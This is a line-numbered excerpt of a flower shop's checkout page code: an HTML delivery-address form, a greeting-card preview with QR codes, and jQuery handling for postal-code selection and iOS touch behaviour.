5488      -webkit-appearance: none;
5489      -moz-appearance: none;
5490      appearance: none;
5491      background-image: none;
5492      cursor: pointer;
5493      font-size: 14px;
5494      padding-right: 16px;
5495    }
5496  }
5497</style>
5498
5499<!-- Mobile Zip Popup -->
5500<div id="zipSelectPopup">
5501  <div class="zip-popup-header">
5502    <h4>Select Postal Code / Area</h4>
5503    <button type="button" class="zip-popup-close">&times;</button>
5504  </div>
5505  <div class="zip-popup-search">
5506    <input type="text" id="zipPopupSearch" placeholder="Search by postal code or area...">
5507  </div>
5508  <div class="zip-popup-list" id="zipPopupList"></div>
5509</div>
5510
5511<div class="contentPurchase">
5512  <div class="row">
5513    <div class="col-12 col-lg-7 position-relative">
5514      <div class="addressPurchase">
5515        
5516          <h4 class="text-uppercase">recipient delivery address</h4>
5517          <p>Share the delivery address to send your heartfelt blooms straight to their door.</p>
5518        
5519        
5520        <!-- Pickup Location Details (hidden by default, shown when pickup is selected) -->
5521        <div id="pickupLocationDetails" class="pickup-location-details" style="display: none; padding: 20px; background-color: #f8f8f8; border: 1px solid #e0e0e0; margin-bottom: 20px;">
5522          <h5 style="font-size: 16px; font-weight: 600; margin-bottom: 16px; text-transform: uppercase; color: #212121;">Pickup Location</h5>
5523          <div style="font-size: 14px; line-height: 1.8; color: #212121;">
5524            <p style="margin: 0 0 12px 0;"><strong>ITC Kuningan Mall</strong></p>
5525            <p style="margin: 0 0 12px 0;">Lantai 9 unit 4B<br/>Jl. Prof. DR. Satrio No.18, RT.11/RW.4, Kuningan, Karet Kuningan, Kecamatan Setiabudi, Kota Jakarta Selatan, Daerah Khusus Ibukota Jakarta 12940</p>
5526            <p style="margin: 0 0 12px 0;"><strong>Pickup Hours:</strong> 10:00 - 16:00</p>
5527            <p style="margin: 0; padding: 12px; background-color: #fff3cd; border-left: 4px solid #ffc107; font-size: 13px;">
5528              <strong>Note:</strong> Please bring your order confirmation when picking up your items.
5529            </p>
5530          </div>
5531        </div>
5532        
5533        <div class="formAddressPurchase row">
5534          <div class="col-12">
5535            <form>
5536              <div class="form-group row mb-2 mb-lg-4">
5537                <div class="col-6 position-relative">
5538                  <input id="first_name" type="text" class="form-control input__field" placeholder="" required>
5539                  <label for="first_name" class="input__label">First Name<span>*</span></label>
5540                </div>
5541                <div class="col-6 position-relative">
5542                  <input id="last_name" type="text" class="form-control input__field" placeholder="" required>
5543                  <label for="last_name" class="input__label">Last Name<span>*</span></label>
5544                </div>
5545                <input type="hidden" data-properties="nama-penerima">
5546              </div>
5547              
5548              <div class="form-group row mb-2 mb-lg-4 form-address">
5549                <div class="col-6 position-relative">
5550                  <input
5551                    id="recipient_number"
5552                    type="text"
5553                    data-properties="telepon-penerima"
5554                    class="form-control input__field"
5555                    placeholder=""
5556                    required
5557                  >
5558                  <label for="recipient_number" class="input__label">Recipient number<span>*</span></label>
5559                </div>
5560                <div class="col-6 position-relative">
5561                  <input
5562                    id="company"
5563                    type="text"
5564                    data-properties="company"
5565                    class="form-control input__field"
5566                    placeholder=""
5567                  >
5568                  <label for="company" class="input__label">Company (Optional)</label>
5569                </div>
5570              </div>
5571              <div class="form-group row mb-2 mb-lg-4 form-address">
5572                <div class="col-6 position-relative">
5573                  <input
5574                    id="province"
5575                    type="text"
5576                    class="form-control input__field"
5577                    placeholder=""
5578                    value="Jakarta"
5579                    data-properties="province"
5580                    readonly
5581                  >
5582                  <label for="province" class="input__label">Province</label>
5583                </div>
5584                <div class="col-6 position-relative">
5585                  <select id="zip" class="form-control select-search" required></select>
5586                </div>
5587              </div>
5588              <div class="form-group row mb-2 mb-lg-4 form-address">
5589                <div class="col-12 position-relative">
5590                  <input
5591                    id="streetAddress"
5592                    type="text"
5593                    class="form-control input__field"
5594                    placeholder="Jl. Example No.123 RT.01 RW.02"
5595                    required
5596                  >
5597                  <label for="streetAddress" class="input__label" style="top: 12px;left: 16px;font-size: 12px;color: #212121;transform: translateY(-7px);padding: 0 5px;">Street Address<span>*</span></label>
5598                    
5599                  
5600                </div>
5601              </div>
5602              <div class="form-group row position-relative mb-2 mb-lg-4 form-address hide">
5603                <div class="col-12">
5604                  <textarea
5605                    id="delivery_address"
5606                    data-properties="alamat-penerima"
5607                    class="form-control input__field col-12"
5608                    placeholder=""
5609                    required
5610                    readonly
5611                  ></textarea>
5612                  <label for="delivery_address" class="input__label">Delivery Address<span>*</span></label>
5613                </div>
5614              </div>
5615            </form>
5616          </div>
5617        </div>
5618      </div>
5619      <div class="addonsPurchase">
5620        <h4 class="text-uppercase">add-ons</h4>
5621        <div class="addons">
5622          <p>No Add-Ons</p>
5623          <!--
5624            <button class="add-addon">
5625              <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12" fill="none">
5626                <path d="M5.5 6.5H0V5.5H5.5V0H6.5V5.5H12V6.5H6.5V12H5.5V6.5Z" fill="black"/>
5627              </svg>
5628              <span>Enhance my moment with Add-ons</span>
5629            </button>
5630          -->
5631        </div>
5632      </div>
5633    </div>
5634    
5635      <div class="col-12 col-lg-5 row m-0 justify-content-end">
5636        <div class="reviewCardPurchase">
5637          <h4 class="text-uppercase">review your greeting card</h4>
5638          <p>You can edit the greeting card to ensure your words perfectly express your love.</p>
5639          <div class="cardPreview">
5640            <!-- Card preview structure -->
5641            <div class="card-preview-container" style="display: none;">
5642              <!-- Card design preview (with or without photo) -->
5643              <div class="card-preview-wrapper">
5644                <!-- Top Section (50% height) -->
5645                <div class="card-top-section">
5646                  <!-- Layout for when NO photo is uploaded -->
5647                  <div class="no-photo-layout">
5648                    <div class="qr-text">
5649                      <p class="qr-title">A<br/>special message</p>
5650                      <p class="qr-subtitle">for <span class="recipient-qr-text">Munying</span>!</p>
5651                    </div>
5652                    <div class="qr-code-container">
5653                      <div class="qr-placeholder">QR</div>
5654                    </div>
5655                    <div class="qr-scan-text">
5656                      <p>Scan for the surprise</p>
5657                    </div>
5658                  </div>
5659                  
5660                  <!-- Layout for when photo IS uploaded -->
5661                  <div class="with-photo-layout" style="display: none;">
5662                    <div class="photo-container">
5663                      <img class="card-preview-photo" src="" alt="Card photo" width="300" height="200">
5664                      <div class="photo-qr-overlay hide hidden">
5665                        <div class="qr-code-small">
5666                          <div class="qr-placeholder-small">QR</div>
5667                        </div>
5668                        <div class="photo-qr-text">
5669                          <p>Scan for a special message for you</p>
5670                        </div>
5671                      </div>
5672                    </div>
5673                  </div>
5674                </div>
5675                
5676                <!-- Divider Line -->
5677                <div class="card-divider"></div>
5678                
5679                <!-- Bottom Section (50% height) -->
5680                <div class="card-bottom-section">
5681                  <!-- Recipient name -->
5682                  <div class="card-recipient-name">
5683                    <span class="recipient-text"></span>
5684                  </div>
5685                  
5686                  <!-- Card message -->
5687                  <div class="card-message-section">
5688                    <div class="card-message-text"></div>
5689                  </div>
5690                  
5691                  <!-- Sender name -->
5692                  <div class="card-sender-name">
5693                    <span class="sender-text"></span>
5694                  </div>
5695                </div>
5696              </div>
5697            </div>
5698            
5699            <!-- Empty state -->
5700            <div class="card-empty-state">
5701              <div style="text-align: center; padding: 40px 20px; color: #999; border: 1px dashed #ddd; border-radius: 8px;">
5702                <p style="margin: 0; font-size: 14px;">Your greeting card preview will appear here</p>
5703                <p style="margin: 5px 0 0 0; font-size: 12px;">Complete the greeting card section to see the preview</p>
5704              </div>
5705            </div>
5706          </div>
5707        </div>
5708        <div class="scanCard mt-3 hide">
5709          <div class="position-relative">
5710            <div id="qrcode"></div>
5711            <div class="t-preview">
5712              <p class="h3">preview your moment</p>
5713              <p>Scan this barcode on OUTERBLOOM’s mobile application</p>
5714            </div>
5715          </div>
5716        </div>
5717      </div>
5718    
5719  </div>
5720</div>
5721
5722<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
vendor: 1 bytes, line 5722
5722
5723<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/select2.min.js"></script>
5723
5724
5725<script>
5726document.addEventListener('DOMContentLoaded', function() {
5727  // Detect iOS
5728  var isIOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream;
5729  
5730  if (isIOS) {
5731    document.querySelector('.formAddressPurchase').classList.add('ios');
5732    
5733    // iOS specific fixes
5734    var inputs = document.querySelectorAll('.formAddressPurchase .input__field');
5735    
5736    inputs.forEach(function(input) {
5737      // Force enable touch events on iOS
5738      input.style.webkitUserSelect = 'text';
5739      input.style.webkitTouchCallout = 'default';
5740      input.style.pointerEvents = 'auto';
5741      input.style.touchAction = 'manipulation';
5742      
5743      // Add explicit touch event listeners for iOS
5744      input.addEventListener('touchstart', function(e) {
5745        e.stopPropagation();
5746        this.focus();
5747      }, { passive: false });
5748      
5749      input.addEventListener('touchend', function(e) {
5750        e.preventDefault();
5751        e.stopPropagation();
5752        this.focus();
5753        this.click();
5754      }, { passive: false });
5755      
5756      // Force focus on tap for iOS
5757      input.addEventListener('click', function(e) {
5758        e.stopPropagation();
5759        if (document.activeElement !== this) {
5760          this.focus();
5761        }
5762      });
5763    });
5764    
5765    // Fix for label overlapping on iOS
5766    var labels = document.querySelectorAll('.formAddressPurchase .input__label');
5767    labels.forEach(function(label) {
5768      label.style.pointerEvents = 'none';
5769      label.addEventListener('touchstart', function(e) {
5770        e.preventDefault();
5771        var input = this.parentNode.querySelector('.input__field');
5772        if (input) {
5773          input.focus();
5774        }
5775      });
5776    });
5777  }
5778  
5779  // Handle input state for all browsers, especially iOS
5780  var inputs = document.querySelectorAll('.input__field');
5781  
5782  inputs.forEach(function(input) {
5783    // Handle input events
5784    input.addEventListener('input', function() {
5785      if (this.value.trim() !== '') {
5786        this.classList.add('has-value');
5787      } else {
5788        this.classList.remove('has-value');
5789      }
5790    });
5791    
5792    // Handle focus
5793    input.addEventListener('focus', function() {
5794      this.classList.add('focused');
5795      // iOS specific: ensure input is visible
5796      if (isIOS) {
5797        setTimeout(function() {
5798          input.scrollIntoView({ behavior: 'smooth', block: 'center' });
5799        }, 300);
5800      }
5801    });
5802    
5803    // Handle blur
5804    input.addEventListener('blur', function() {
5805      this.classList.remove('focused');
5806      if (this.value.trim() !== '') {
5807        this.classList.add('has-value');
5808      } else {
5809        this.classList.remove('has-value');
5810      }
5811    });
5812    
5813    // Initial check for pre-filled values
5814    if (input.value.trim() !== '') {
5815      input.classList.add('has-value');
5816    }
5817  });
5818  
5819  // Additional iOS fixes
5820  if (isIOS) {
5821    // Prevent iOS Safari from adding default styling
5822    document.addEventListener('touchstart', function() {}, { passive: true });
5823    
5824    // Fix viewport issues on iOS
5825    var viewport = document.querySelector('meta[name=viewport]');
5826    if (viewport) {
5827      viewport.setAttribute('content', 
5828        'width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no'
5829      );
5830    }
5831  }
5832  
5833  // Card Preview functionality
5834  function updateCardPreview() {
5835    // Get data from greeting card inputs ONLY from #greetingCard or .greetingCard area
5836    const greetingCardArea = $('#greetingCard, .greetingCard');
5837    
5838    const recipientName = greetingCardArea.find('[data-properties="penerima"]').val() || '';
5839    const senderName = greetingCardArea.find('[data-properties="pengirim"]').val() || 
5840                       greetingCardArea.find('[data-properties="kartu-nama-pengirim"]').val() || 
5841                       greetingCardArea.find('#senderCard').val() || '-';
5842    const cardMessage = greetingCardArea.find('[data-properties="ucapan"]').val() || 
5843                        greetingCardArea.find('#kartu-ucapan').val() || '-';
5844    const photoUrl = $('#properties-photo').val();
5845    const videoUrl = greetingCardArea.find('#properties-video').val() || '';
5846    const qrId = greetingCardArea.find('#properties-qrId').val() || '';
5847    
5848    // Get preview elements
5849    const cardContainer = $('.card-preview-container');
5850    const emptyState = $('.card-empty-state');
5851    const recipientText = $('.recipient-text');
5852    const recipientQrText = $('.recipient-qr-text');
5853    const senderText = $('.sender-text');
5854    const messageText = $('.card-message-text');
5855    const noPhotoLayout = $('.no-photo-layout');
5856    const withPhotoLayout = $('.with-photo-layout');
5857    const previewPhoto = $('.card-preview-photo');
5858    const qrContainer = $('.qr-code-container');
5859    const qrContainerSmall = $('.qr-code-small');
5860    
5861    // Check if we have any card content
5862    const hasContent = (recipientName && recipientName.trim() !== '' && recipientName.trim() !== ' ') || 
5863                       (senderName !== '' && senderName !== '-') || 
5864                       (cardMessage !== '' && cardMessage !== '-') ||
5865                       (photoUrl && photoUrl !== '' && photoUrl !== '-') ||
5866                       (videoUrl && videoUrl !== '' && videoUrl !== '-');
5867    
5868    if (hasContent) {
5869      // Show card preview, hide empty state
5870      cardContainer.show();
5871      emptyState.hide();
5872      
5873      // Update recipient name in bottom section with prefix
5874      let recipientDisplay = '';
5875      if (recipientName && recipientName.trim() !== '' && recipientName.trim() !== ' ' && recipientName.trim() !== '-') {
5876        const prefix = $('.label-prefix').text().trim() || '';
5877        const trimmedName = recipientName.trim();
5878        recipientDisplay = prefix + (trimmedName ? ' ' + trimmedName : '');
5879      }
5880      recipientText.text(recipientDisplay);
5881      
5882      // Update recipient name in QR section (for no-photo layout) - use first name only or full name
5883      let recipientQrDisplay = '';
5884      if (recipientName && recipientName.trim() !== '' && recipientName.trim() !== ' ' && recipientName.trim() !== '-') {
5885        recipientQrDisplay = recipientName.trim().split(' ')[0];
5886      }
5887      recipientQrText.text(recipientQrDisplay);
5888      
5889      // Update sender name  
5890      const senderDisplay = (senderName !== '' && senderName !== '-') ? senderName : '';
5891      senderText.text(senderDisplay);
5892      
5893      // Update message
5894      const messageDisplay = (cardMessage !== '' && cardMessage !== '-') ? 
5895        cardMessage : '';
5896      messageText.text(messageDisplay);
5897      
5898      // Handle photo display and layout switching
5899      if (photoUrl && photoUrl !== '' && photoUrl !== '-') {
5900        // Show photo layout, hide no-photo layout
5901        noPhotoLayout.hide();
5902        withPhotoLayout.show();
5903        previewPhoto.attr('src', photoUrl);
5904        
5905        // Generate QR code for photo layout
5906        if (qrId && qrId !== '' && qrId !== '-') {
5907          qrContainerSmall.html('');
5908          try {
5909            var qrCode = new QRCode(qrContainerSmall[0], {
5910              text: `https://moment.outerbloom.com/${qrId}`,
5911              width: 40,
5912              height: 40,
5913              colorDark: "#333333",
5914              colorLight: "#ffffff",
5915              correctLevel: QRCode.CorrectLevel.L,
5916            });
5917          } catch(e) {
5918            qrContainerSmall.html('<div class="qr-placeholder-small">QR</div>');
5919          }
5920        } else {
5921          qrContainerSmall.html('<div class="qr-placeholder-small">QR</div>');
5922        }
5923      } else {
5924        // Show no-photo layout, hide photo layout
5925        withPhotoLayout.hide();
5926        noPhotoLayout.show();
5927        
5928        // Generate QR code for no-photo layout
5929        if (qrId && qrId !== '' && qrId !== '-') {
5930          qrContainer.html('');
5931          try {
5932            var qrCode = new QRCode(qrContainer[0], {
5933              text: `https://moment.outerbloom.com/${qrId}`,
5934              width: 80,
5935              height: 80,
5936              colorDark: "#333333",
5937              colorLight: "#ffffff",
5938              correctLevel: QRCode.CorrectLevel.L,
5939            });
5940          } catch(e) {
5941            qrContainer.html('<div class="qr-placeholder">QR</div>');
5942          }
5943        } else {
5944          qrContainer.html('<div class="qr-placeholder">QR</div>');
5945        }
5946      }
5947    } else {
5948      // Show empty state, hide card preview
5949      cardContainer.hide();
5950      emptyState.show();
5951    }
5952  }
5953  
5954  // Listen for changes in greeting card fields ONLY from #greetingCard or .greetingCard area
5955  $(document).on('input change keyup', '#greetingCard [data-properties="penerima"], #greetingCard [data-properties="ucapan"], #greetingCard [data-properties="pengirim"], #greetingCard [data-properties="kartu-nama-pengirim"], #greetingCard #senderCard, #greetingCard #kartu-ucapan, #greetingCard #properties-photo, #greetingCard #properties-video, #greetingCard #properties-qrId, .greetingCard [data-properties="penerima"], .greetingCard [data-properties="ucapan"], .greetingCard [data-properties="pengirim"], .greetingCard [data-properties="kartu-nama-pengirim"], .greetingCard #senderCard, .greetingCard #kartu-ucapan, .greetingCard #properties-photo, .greetingCard #properties-video, .greetingCard #properties-qrId', function() {
5956    setTimeout(updateCardPreview, 100); // Small delay to allow value updates
5957  });
5958  
5959  // Listen for custom events from greeting card section
5960  $(document).on('cardDataUpdated', function() {
5961    updateCardPreview();
5962  });
5963  
5964  // Listen for btn-next-card click using delegate
5965  $(document).on('click', '.btn-next-card .btn', function() {
5966    console.log('btn-next-card clicked, updating card preview...');
5967    updateCardPreview();
5968  });
5969  
5970  // Initial card preview update
5971  $(document).ready(function() {
5972    setTimeout(updateCardPreview, 1000); // Delay to ensure all fields are initialized
5973    
5974    // Update preview when moving to purchase address step
5975    if ($('.purchaseAddress').length && !$('.purchaseAddress').hasClass('hide')) {
5976      updateCardPreview();
5977    }
5978  });
5979  
5980  // Auto-fill delivery address from input fields
5981  window.updateDeliveryAddress = function() {
5982    const selectedMethod = $('#selectedShippingMethod').val();
5983    if (selectedMethod === 'Pickup') {
5984      const pickupAddress = "ITC Kuningan, Mall, Lantai 9 unit 4B, Jl. Prof. DR. Satrio No.18";
5985      const pickupZipCode = "12940 - Karet Kuningan";
5986      
5987      const deliveryAddressTextarea = $('#delivery_address');
5988      
5989      // Set delivery address
5990      if (deliveryAddressTextarea.val() !== pickupAddress) {
5991        deliveryAddressTextarea.val(pickupAddress);
5992        deliveryAddressTextarea.addClass('has-value');
5993        deliveryAddressTextarea.trigger('change');
5994        $('#properties-kodepos').val(pickupZipCode);
5995      }
5996      
5997      return;
5998    }
5999
6000    const streetAddress = $('#streetAddress').val().trim();
6001    const zipValue = $('#zip').val() || ''; // Format: "12345-Kelurahan-Kecamatan"
6002    const province = $('#province').val().trim();
6003    
6004    // Parse zip value
6005    let postalCode = '';
6006    let kelurahan = '';
6007    let kecamatan = '';
6008    
6009    if (zipValue) {
6010      const zipParts = zipValue.split('-');
6011      postalCode = zipParts[0] || ''; // zip.split('-')[0]
6012      kelurahan = zipParts[1] || '';   // zip.split('-')[1]
6013      kecamatan = zipParts[2] || '';   // zip.split('-')[2]
6014    }
6015    
6016    // Build address string with format: [streetAddress], [kelurahan], [kecamatan], [province], [postalCode], Indonesia
6017    let addressParts = [];
6018    
6019    if (streetAddress) addressParts.push(streetAddress);
6020    if (kelurahan) addressParts.push(kelurahan);
6021    if (kecamatan) addressParts.push(kecamatan);
6022    if (province) addressParts.push(province);
6023    if (postalCode) addressParts.push(postalCode);
6024    addressParts.push('Indonesia');
6025    
6026    const fullAddress = addressParts.join(', ');
6027    
6028    // Update delivery address textarea
6029    const deliveryAddressTextarea = $('#delivery_address');
6030    deliveryAddressTextarea.val(fullAddress);
6031    
6032    // Update has-value class for label animation
6033    if (fullAddress && fullAddress !== 'Indonesia') {
6034      deliveryAddressTextarea.addClass('has-value');
6035    } else {
6036      deliveryAddressTextarea.removeClass('has-value');
6037    }
6038    
6039    // Trigger change event
6040    deliveryAddressTextarea.trigger('change');
6041  }
6042  
6043  // Initialize Select2 for postal code select
6044  function initZipSearch() {
6045    // Only initialize Select2 on desktop (screen width > 992px)
6046    if ($(window).width() > 992) {
6047      $('#zip').select2({
6048        placeholder: 'Search by postal code or area',
6049        allowClear: false,
6050        width: '100%',
6051        matcher: function(params, data) {
6052          // If there are no search terms, return all of the data
6053          if ($.trim(params.term) === '') {
6054            return data;
6055          }
6056
6057          // Do not display the item if there is no 'text' property
6058          if (typeof data.text === 'undefined') {
6059            return null;
6060          }
6061
6062          // `params.term` should be the term that is used for searching
6063          // `data.text` is the text that is displayed for the data object
6064          if (data.text.toLowerCase().indexOf(params.term.toLowerCase()) > -1 ||
6065              data.id.toLowerCase().indexOf(params.term.toLowerCase()) > -1) {
6066            var modifiedData = $.extend({}, data, true);
6067            return modifiedData;
6068          }
6069
6070          // Return `null` if the term does not match the data
6071          return null;
6072        }
6073      });
6074
6075      // Handle select change to update delivery address
6076      $('#zip').on('change', function() {
6077        updateDeliveryAddress();
6078      });
6079    } else {
6080      // On mobile (<991px), use custom popup instead of native select
6081      var $zipSelect = $('#zip');
6082      var $popup = $('#zipSelectPopup');
6083      var $popupList = $('#zipPopupList');
6084      var $popupSearch = $('#zipPopupSearch');
6085      var isPopupOpen = false;
6086      var isIOS = /iPad|iPhone|iPod/.test(navigator.userAgent) && !window.MSStream;
6087      
6088      // Populate popup list with options from select
6089      function populatePopupList(filterText = '') {
6090        $popupList.empty();
6091        
6092        $zipSelect.find('option').each(function() {
6093          var $option = $(this);
6094          var value = $option.val();
6095          var text = $option.text();
6096          
6097          // Skip empty/placeholder options
6098          if (!value || value === '') return;
6099          
6100          // Filter based on search text
6101          if (filterText && 
6102              text.toLowerCase().indexOf(filterText.toLowerCase()) === -1 && 
6103              value.toLowerCase().indexOf(filterText.toLowerCase()) === -1) {
6104            return;
6105          }
6106          
6107          var $item = $('<div class="zip-popup-list-item"></div>')
6108            .attr('data-value', value)
6109            .text(text);
6110          
6111          // Mark selected item
6112          if (value === $zipSelect.val()) {
6113            $item.addClass('selected');
6114          }
6115          
6116          $popupList.append($item);
6117        });
6118      }
6119      
6120      // Function to open popup
6121      function openPopup() {
6122        if (isPopupOpen) return;
6123        
6124        isPopupOpen = true;
6125        populatePopupList();
6126        $popup.css('display', 'block').hide().fadeIn(200);
6127        $('body').css('overflow', 'hidden');
6128        
6129        // iOS needs more delay for focus
6130        var focusDelay = isIOS ? 500 : 250;
6131        setTimeout(function() {
6132          $popupSearch.focus();
6133        }, focusDelay);
6134      }
6135      
6136      // Function to close popup
6137      function closePopup() {
6138        if (!isPopupOpen) return;
6139        
6140        isPopupOpen = false;
6141        $popup.fadeOut(200);
6142        $('body').css('overflow', '');
6143        $popupSearch.val('');
6144      }
6145      
6146      // iOS specific handling
6147      if (isIOS) {
6148        // For iOS, use only touchstart with proper event handling
6149        $zipSelect.on('touchstart', function(e) {
6150          e.preventDefault();
6151          e.stopPropagation();
6152          e.stopImmediatePropagation();
6153          
6154          if (!isPopupOpen) {
6155            openPopup();
6156          }
6157          
6158          return false;
6159        });
6160        
6161        // Prevent other events on iOS to avoid double triggering
6162        $zipSelect.on('click focus mousedown', function(e) {
6163          e.preventDefault();
6164          e.stopPropagation();
6165          e.stopImmediatePropagation();
6166          return false;
6167        });
6168      } else {
6169        // For Android and other mobile devices
6170        // Use touchstart as primary event to prevent native dropdown
6171        $zipSelect.on('touchstart', function(e) {
6172          e.preventDefault();
6173          e.stopPropagation();
6174          e.stopImmediatePropagation();
6175          
6176          if (!isPopupOpen) {
6177            openPopup();
6178          }
6179          
6180          return false;
6181        });
6182        
6183        // Also prevent click and other events to ensure native dropdown doesn't show
6184        $zipSelect.on('click focus mousedown touchend', function(e) {
6185          e.preventDefault();
6186          e.stopPropagation();
6187          e.stopImmediatePropagation();
6188          return false;
6189        });
6190      }
6191      
6192      // Search functionality
6193      $popupSearch.on('input', function() {
6194        populatePopupList($(this).val());
6195      });
6196      
6197      // Track touch movement to differentiate scroll from tap
6198      var touchStartY = 0;
6199      var touchMoved = false;
6200      
6201      // Track touch start
6202      $popupList.on('touchstart', '.zip-popup-list-item', function(e) {
6203        touchStartY = e.originalEvent.touches[0].clientY;
6204        touchMoved = false;
6205      });
6206      
6207      // Track touch movement
6208      $popupList.on('touchmove', '.zip-popup-list-item', function(e) {
6209        var touchY = e.originalEvent.touches[0].clientY;
6210        if (Math.abs(touchY - touchStartY) > 10) {
6211          touchMoved = true;
6212        }
6213      });
6214      
6215      // Handle option selection - only if not scrolling
6216      $popupList.on('touchend', '.zip-popup-list-item', function(e) {
6217        e.preventDefault();
6218        e.stopPropagation();
6219        
6220        // Only select if user didn't scroll
6221        if (!touchMoved) {
6222          var selectedValue = $(this).attr('data-value');
6223          $zipSelect.val(selectedValue).trigger('change');
6224          closePopup();
6225          updateDeliveryAddress();
6226        }
6227      });
6228      
6229      // Also handle click for desktop testing
6230      $popupList.on('click', '.zip-popup-list-item', function(e) {
6231        e.preventDefault();
6232        e.stopPropagation();
6233        
6234        var selectedValue = $(this).attr('data-value');
6235        $zipSelect.val(selectedValue).trigger('change');
6236        closePopup();
6237        updateDeliveryAddress();
6238      });
6239      
6240      // Prevent scroll from closing popup - apply to all touch events
6241      $popupList.on('touchstart touchmove touchend scroll', function(e) {
6242        e.stopPropagation();
6243      });
6244      
6245      // Prevent search input touch from closing popup
6246      $popupSearch.on('touchstart touchmove touchend click', function(e) {
6247        e.stopPropagation();
6248      });
6249      
6250      // Prevent header touch from closing popup (except close button)
6251      $('.zip-popup-header').on('touchstart touchmove touchend click', function(e) {
6252        if (!$(e.target).hasClass('zip-popup-close')) {
6253          e.stopPropagation();
6254        }
6255      });
6256      
6257      // Close popup handlers
6258      $('.zip-popup-close').on('click touchend', function(e) {
6259        e.preventDefault();
6260        e.stopPropagation();
6261        closePopup();
6262      });
6263      
6264      // Prevent touchmove on popup content from bubbling up
6265      $('.zip-popup-content').on('touchstart touchmove touchend', function(e) {
6266        e.stopPropagation();
6267      });
6268      
6269      // Close on background tap only - but not on any touch inside content
6270      $popup.on('touchend', function(e) {
6271        // Only close if touching popup background directly, not content
6272        if ($(e.target).is('#zipSelectPopup')) {
6273          e.preventDefault();
6274          closePopup();
6275        }
6276      });
6277    }
6278  }
6279  
6280  // Listen for changes in address fields
6281  $(document).on('input change', '#streetAddress, #zip, #province', function() {
6282    updateDeliveryAddress();
6283  });
6284  
6285  // Initial update on page load
6286  $(document).ready(function() {
6287    setTimeout(updateDeliveryAddress, 500);
6288    
6289    // Initialize zip search after select is populated
6290    setTimeout(initZipSearch, 600);
6291  });
6292});
6293</script>
6293
6294          </div>
6295          <div class="purchase-button-wrapper">
6296            <div class="purchase-button btn-address row m-0">
6297  <div class="col-12 col-lg-2 text-left mb-2 p-0">
6298    
6299      <button class="back-purchase-button back-address text-uppercase">
6300        <svg width="15" height="14" viewBox="0 0 15 14" fill="none" xmlns="http://www.w3.org/2000/svg">
6301          <path d="M14.5799 7.41992L2.32992 7.41992L7.57992 12.6699L6.91992 13.4199L0.419922 6.91992L6.91992 0.419922L7.57992 1.16992L2.32992 6.41992L14.5799 6.41992V7.41992Z" fill="black"/>
6302        </svg>
6303        <span>Back</span>
6304      </button>
6305    
6306  </div>
6307  <div class="btn-next-card col-12 col-lg-10 text-right">
6308    
6309      <!--
6310        <button class="back-purchase-button back-address text-uppercase mr-lg-2 mb-2 mb-lg-0">
6311          <svg width="15" height="14" viewBox="0 0 15 14" fill="none" xmlns="http://www.w3.org/2000/svg">
6312            <path d="M14.5799 7.41992L2.32992 7.41992L7.57992 12.6699L6.91992 13.4199L0.419922 6.91992L6.91992 0.419922L7.57992 1.16992L2.32992 6.41992L14.5799 6.41992V7.41992Z" fill="black"/>
6313          </svg>
6314          <span>Back</span>
6315        </button>
6316      -->
6317    
6318    
6319      
6320    
6321    <button
6322      
6323        id="addtocart-card"
6324      
6325      class="btn  next-address text-uppercase"
6326      
6327    >
6328      <span>add to cart</span>
6329    </button>
6330  </div>
6331</div>
6332
6333          </div>
6334        </div>
6335      </div>
6336    
6337  </div>
6338</div>
6339<div id="backgroundPopup"></div>
6340
6341
6342
6343<input
6344  data-index="1"
6345  type="hidden"
6346  id="properties-delivery-date"
6347  name="properties[Delivery Date]"
6348  value="-"
6349>
6350<input
6351  data-index="2"
6352  type="hidden"
6353  id="properties-delivery-time"
6354  name="properties[Delivery Time]"
6355  value="-"
6356>
6357<input
6358  data-index="4"
6359  type="hidden"
6360  id="properties-nama-penerima"
6361  name="properties[Nama Penerima]"
6362  value="-"
6363>
6364<input
6365  data-index="5"
6366  type="hidden"
6367  id="properties-alamat-penerima"
6368  name="properties[Alamat Penerima]"
6369  value="-"
6370>
6371<input
6372  data-index="6"
6373  type="hidden"
6374  id="properties-kodepos"
6375  name="properties[Kodepos]"
6376  value="-"
6377>
6378<input data-index="7" type="hidden" id="properties-telepon-penerima" name="properties[Telepon Penerima]">
6379
6380  <input
6381    data-index="8"
6382    type="hidden"
6383    id="properties-kartu-nama-penerima"
6384    name="properties[Kartu Nama Penerima]"
6385    value="-"
6386  >
6387  <input
6388    data-index="9"
6389    type="hidden"
6390    id="properties-kartu-ucapan"
6391    name="properties[Kartu Ucapan]"
6392    value="-"
6393  >
6394
6395
6396
6397  <input
6398    data-index="10"
6399    type="hidden"
6400    id="properties-kartu-nama-pengirim"
6401    name="properties[Kartu Nama Pengirim]"
6402    value="-"
6403  >
6404
6405
6406
6407  <input
6408    data-index="11"
6409    type="hidden"
6410    id="properties-photo"
6411    name="properties[Foto]"
6412    value="-"
6413  >
6414  <input
6415    id="input-foto"
6416    type="file"
6417    class="customFile"
6418    accept="image/*"
6419    style="position: absolute;top:40%;display:none;"
6420  >
6421  <input
6422    data-index="12"
6423    type="hidden"
6424    id="properties-video"
6425    name="properties[Video]"
6426    value="-"
6427  >
6428  <input
6429    id="input-video"
6430    type="file"
6431    class="customFileVideo"
6432    accept="video/*"
6433    style="position: absolute;top:40%;display:none;"
6434  >
6435  <input data-index="13" type="hidden" id="properties-qrId" name="properties[QR Code]" value="">
6436
6437
6438  <div style="visiblity: hidden;opacity: 0;position: absolute;top:0;z-index:-999">
6439    <textarea id="noteHampers" name="properties[Note Hampers]" placeholder="Notes:"> </textarea>
6440    <input
6441      id="logo-hampers"
6442      class="dropzonex"
6443      type="file"
6444      name="properties[Logo Hampers]"
6445      class="customFile"
6446      accept="image/*"
6447    >
6448  </div>
6449
6450
6451
6452
6453
6454
6455
6456
6457
6458
6459
6460
6461<!-- Additional Shipping -->
6462<input type="hidden" id="properties-kota-pengiriman-province" name="properties[Province]">
6463<input
6464  type="hidden"
6465  id="properties-kota-pengiriman-country"
6466  name="properties[Country]"
6467  value="Indonesia"
6468>
6469<input type="hidden" id="properties-shipping" name="properties[Shipping]">
6470
6471<input type="hidden" id="properties-time" name="properties[Time]">
6472<input type="hidden" id="properties-card" name="properties[Card]">
6473<input type="hidden" id="properties-addons" name="properties[Addons]">
6474
6475<input
6476  type="hidden"
6477  id="properties-company"
6478  name="properties[Company]"
6479  value=""
6480>
6481<script>
6482  
